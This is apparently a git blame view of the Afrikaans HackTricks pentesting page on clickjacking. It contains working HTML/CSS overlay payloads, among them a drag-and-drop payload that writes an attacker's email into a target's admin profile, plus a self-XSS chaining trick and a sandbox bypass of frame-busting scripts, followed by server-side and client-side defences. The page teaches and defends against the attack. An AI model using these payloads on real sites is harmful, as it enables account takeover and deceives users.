hacktricks/pentesting-web/clickjacking.md

228 lines
12 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:25:17 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
2022-04-28 16:01:33 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-02-11 02:07:06 +00:00
## Wat is Clickjacking
In 'n clickjacking-aanval word 'n **gebruiker** **bedrieg** om op 'n **element** op 'n webbladsy te **klik** wat óf **onsigbaar** is óf vermom is as 'n ander element. Hierdie manipulasie kan lei tot onbedoelde gevolge vir die gebruiker, soos die aflaai van malware, omleiding na skadelike webbladsye, die voorsiening van geloofsbriewe of sensitiewe inligting, geldoorplasings, of die aanlyn-aankoop van produkte.
### Vooraf ingevulde vormtruuks
Dikwels is dit moontlik om die waarde van velde van 'n vorm te **vul met GET-parameters wanneer 'n bladsy gelaai word**. 'n Aanvaller kan hierdie gedrag misbruik om 'n vorm met willekeurige data te vul en die clickjacking-lading te stuur sodat die gebruiker die knoppie Indien druk.
2020-10-13 11:29:54 +00:00
2024-02-11 02:07:06 +00:00
### Vul vorm met Sleep\&Laat val
2020-10-13 11:29:54 +00:00
As jy wil hê dat die gebruiker 'n vorm moet **voltooi** maar jy wil hom nie direk vra om spesifieke inligting te skryf (soos die e-pos en/of spesifieke wagwoord wat jy weet nie), kan jy hom net vra om iets te **Sleep\&Laat val** wat jou beheerde data sal skryf soos in [**hierdie voorbeeld**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
2024-02-11 02:07:06 +00:00
### Basiese Lading
```markup
<style>
2024-02-11 02:07:06 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
2024-02-11 02:07:06 +00:00
### Veelstapgelaai
```markup
<style>
2024-02-11 02:07:06 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Sleep & Kliek lading
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
2020-10-13 11:29:54 +00:00
Indien jy 'n **XSS-aanval identifiseer wat vereis dat 'n gebruiker op 'n element klik** om die XSS te **aktiveer** en die bladsy is **kwesbaar vir clickjacking**, kan jy dit misbruik om die gebruiker te mislei om op die knoppie/skakel te klik.
Voorbeeld:
_Jy het 'n **self XSS** gevind in sekere privaat besonderhede van die rekening (besonderhede wat **net jy kan instel en lees**). Die bladsy met die **vorm** om hierdie besonderhede in te stel is **kwesbaar** vir **Clickjacking** en jy kan die **vorm vooraf invul** met die GET parameters._
\_\_'n Aanvaller kan 'n **Clickjacking**-aanval op daardie bladsy voorberei deur die **vorm vooraf in te vul** met die **XSS-lading** en die **gebruiker te mislei** om die **vorm in te dien**. So, **wanneer die vorm ingedien word** en die waardes gewysig word, sal die **gebruiker die XSS uitvoer**.
## Strategieë om Clickjacking te Verswak
2024-02-11 02:07:06 +00:00
### Kliëntkant Verdediging
Skripte wat aan die kliëntkant uitgevoer word, kan aksies uitvoer om Clickjacking te voorkom:
* Verseker dat die aansoekvenster die hoof- of boonste venster is.
2024-02-11 02:07:06 +00:00
* Maak alle rame sigbaar.
* Voorkom kliek op onsigbare rame.
* Opmerk en waarsku gebruikers van potensiële Clickjacking-pogings.
Hierdie rame-breekskripte kan egter omseil word:
2024-02-11 02:07:06 +00:00
* **Webblaaier se Sekuriteitsinstellings:** Sommige webblaaier kan hierdie skripte blokkeer gebaseer op hul sekuriteitsinstellings of gebrek aan JavaScript-ondersteuning.
* **HTML5 iframe `sandbox` Kenmerk:** 'n Aanvaller kan rame-breekskripte neutraliseer deur die `sandbox` kenmerk in te stel met `allow-forms` of `allow-scripts` waardes sonder `allow-top-navigation`. Dit voorkom dat die iframe verifieer of dit die boonste venster is, bv.,
2024-02-06 03:10:38 +00:00
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
Die `allow-forms` en `allow-scripts` waardes maak aksies binne die iframe moontlik terwyl top-level navigasie gedeaktiveer word. Om die beoogde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos `allow-same-origin` en `allow-modals` nodig wees, afhangende van die aanvalstipe. Blaaierkonsole-boodskappe kan aandui watter toestemmings toegelaat moet word.
### Bedienerkant Verdedigings
2024-02-06 03:10:38 +00:00
#### X-Frame-Options
Die **`X-Frame-Options` HTTP-antwoordkop** stel blaaier in kennis oor die geldigheid van die weergawe van 'n bladsy in 'n `<frame>` of `<iframe>`, wat help om Clickjacking te voorkom:
2024-02-11 02:07:06 +00:00
* `X-Frame-Options: deny` - Geen domein kan die inhoud in 'n raam plaas nie.
* `X-Frame-Options: sameorigin` - Slegs die huidige webwerf kan die inhoud in 'n raam plaas.
* `X-Frame-Options: allow-from https://trusted.com` - Slegs die gespesifiseerde 'uri' kan die bladsy in 'n raam plaas.
* Let op die beperkings: as die blaaier hierdie riglyn nie ondersteun nie, mag dit nie werk nie. Sommige blaaier verkies die CSP frame-ancestors riglyn.
#### Inhoud Sekuriteitsbeleid (CSP) frame-ancestors riglyn
**`frame-ancestors` riglyn in CSP** is die aanbevole metode vir Clickjacking beskerming:
2024-02-11 02:07:06 +00:00
* `frame-ancestors 'none'` - Soortgelyk aan `X-Frame-Options: deny`.
* `frame-ancestors 'self'` - Soortgelyk aan `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Soortgelyk aan `X-Frame-Options: allow-from`.
2024-02-11 02:07:06 +00:00
Byvoorbeeld, die volgende CSP staan slegs raamwerk van dieselfde domein toe:
`Content-Security-Policy: frame-ancestors 'self';`
Verdere besonderhede en komplekse voorbeelde kan gevind word in die [frame-ancestors CSP dokumentasie](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) en [Mozilla se CSP frame-ancestors dokumentasie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
2024-02-06 03:10:38 +00:00
### Inhoud Sekuriteitsbeleid (CSP) met `child-src` en `frame-src`
2024-02-06 03:10:38 +00:00
**Inhoud Sekuriteitsbeleid (CSP)** is 'n sekuriteitsmaatreël wat help om Clickjacking en ander kode-inspuitingsaanvalle te voorkom deur te spesifiseer watter bronne die blaaier moet toelaat om inhoud te laai.
2024-02-06 03:10:38 +00:00
#### `frame-src` Riglyn
* Definieer geldige bronne vir rame.
* Meer spesifiek as die `default-src` riglyn.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Hierdie beleid staan rame toe van dieselfde oorsprong (self) en https://trusted-website.com.
2024-02-06 03:10:38 +00:00
2024-02-11 02:07:06 +00:00
#### `child-src` Direktief
* Ingevoer in CSP-vlak 2 om geldige bronne vir webwerkers en rame in te stel.
* Tree op as 'n reservoar vir frame-src en worker-src.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Hierdie beleid staan rame en werkers toe van dieselfde oorsprong (self) en https://trusted-website.com.
2024-02-06 03:10:38 +00:00
**Gebruik Notas:**
2024-02-06 03:10:38 +00:00
* Afskaffing: child-src word uitgefaseer ten gunste van frame-src en worker-src.
* Terugvalgedrag: As frame-src afwesig is, word child-src gebruik as 'n terugval vir rame. As beide afwesig is, word default-src gebruik.
* Streng Brondefinisie: Sluit slegs vertroude bronne in die riglyne in om uitbuiting te voorkom.
2024-02-06 03:10:38 +00:00
#### JavaScript Raam-Breek Skripte
Alhoewel nie heeltemal waterdig nie, kan JavaScript-gebaseerde raam-breek skripte gebruik word om te voorkom dat 'n webbladsy ingelys word. Voorbeeld:
2024-02-06 03:10:38 +00:00
```javascript
if (top !== self) {
2024-02-11 02:07:06 +00:00
top.location = self.location;
2024-02-06 03:10:38 +00:00
}
```
2024-02-11 02:07:06 +00:00
#### Gebruik van Anti-CSRF-tokens
* **Tokenvalidasie:** Gebruik anti-CSRF-tokens in webtoepassings om te verseker dat staatveranderende versoeke doelbewus deur die gebruiker gemaak word en nie deur 'n Clickjacked-bladsy nie.
2024-02-11 02:07:06 +00:00
## Verwysings
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:25:17 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>